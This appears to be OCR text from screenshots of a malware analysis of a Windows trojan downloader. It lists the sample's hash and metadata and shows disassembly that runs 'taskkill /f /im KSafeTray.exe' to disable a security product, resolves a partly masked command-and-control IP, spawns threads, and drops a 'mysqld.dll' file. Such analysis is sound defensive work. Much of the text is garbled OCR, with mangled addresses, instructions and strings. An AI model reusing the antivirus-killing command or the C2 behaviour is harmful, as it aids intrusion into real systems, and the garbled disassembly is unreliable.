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Trojan[Downloader]/Win32Agent

A52B473888FA975D37048D5959533001
X86-32

180KB(184427Bytes)
BinExecute/Microsoft. EXE[:X86]
201508-29

Microsoft Visual C++ v6.0
1

z o B~ MySQL F a MySQL o - [ H
L Qi ~ T T w L o Dump| FOoT p A

kill KsafeTray.exe
8x188192CC ASCII “taskkill /f /im KSafeTray.exe"
call kernel32? WinExec

2 \
9 F 7 IP 118.193***:1010
i 3 EDR 0 B LastErr H
| FF15 84348118 |call ws2_32.gethostbyname )
8BF8 mov edi,eax aeaae246 |
test edi,edi : empty 0

340L]=71A24FDY (wsé_32.gcthosthyname) s empty
2 empty

3 empty
empty

L LabAERY 1001A514 | LName = “118.193,
60 00 00 00|60 00 .... N 90125A48| BO6OOOO0
p| OO 00 60 00| B OO 00 00 B80125A4C| 7C801D77| kernel32.LoadLibraryh
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004053A9 call

804053B1 mov
884085388 push
804053BD mov
004053C0 push eax
8840853C1 call
804053C7 add esp, 8
8840853CA mov
8040853CD cnp
agues301 jz

offset

eax, [ebp+Str]
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Sub_481195
B04853AE add esp, BCh
[ebp+var_8], @

Substr

ds:strstr

[ebp+uar_4], eax
[ebp+uvar_4], @
short loc_4853DC

"=
ae4a530c

004053DC loc_A4@853DC:

8684853DC push offset String
a64853E1 call ds:1strlenn

t u% I
A84853E7 test eax, eax

A84853E9 jle short loc_485425

[

(= ) il s =

00465303 mov
084853DA jmp

[ebp+uar_8], 1
short loc_L4@5425

804053EB push a
884853ED push a

B84853EF push offset String F 111 ==

004053F4 push offset Startaddress [ lpstartAddress
884853F9 push a ; duStackSize
B84853FB push a ; 1lpThreadattributes
884a53FD call ds:CreateThread

884085483 mov [ebp+hObject], eaxr
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B D S F - 1 10llexe o
CA\Windows AppPatch 1/ w [ mysqld.dif A
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80485303 mov [ebp+uar_8], 1 B04853EB push [i] ; 1pThreadId

8e4B8530A jmp short loc_ 485425} |804853ED push i} ; duCreationFlags

804853EF push offset String R

F ¢ 9 8 1
IP ' 118.193.%* **

8040853F4 push offset StartAddress ; lpStartAddress
884853F9 push a ; duStacksSize
804853FB push i} ; 1pThreadattributes
884853FD call ds:CreateThread

80485483 mov [ebp+hObject], eax

80485489 push BFFFFFFFFh ; dubilliseconds
80485488 mov ecx, [ebp+hObject]

88485411 push ecx ; hHandle

884085412 call ds:WaitForsSingleObject

804085418 mov edx, [ebp+hObject]

8048541E push edx ; hobject

a848541F call ds:CloseHandle
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80485425 loc_4B5425:

a4 85425 mov eax, [ehm
804085428 push eax

88485429 push offset abysqld_dll ;§“mysqld.dil™
8848542E call sub_4812B2
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~ ¥ search
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AII‘ Invert_ Mask

0 items selected
= H Actions
Archive Get list

~ 4 Server information

HttpFileServer 2.3¢
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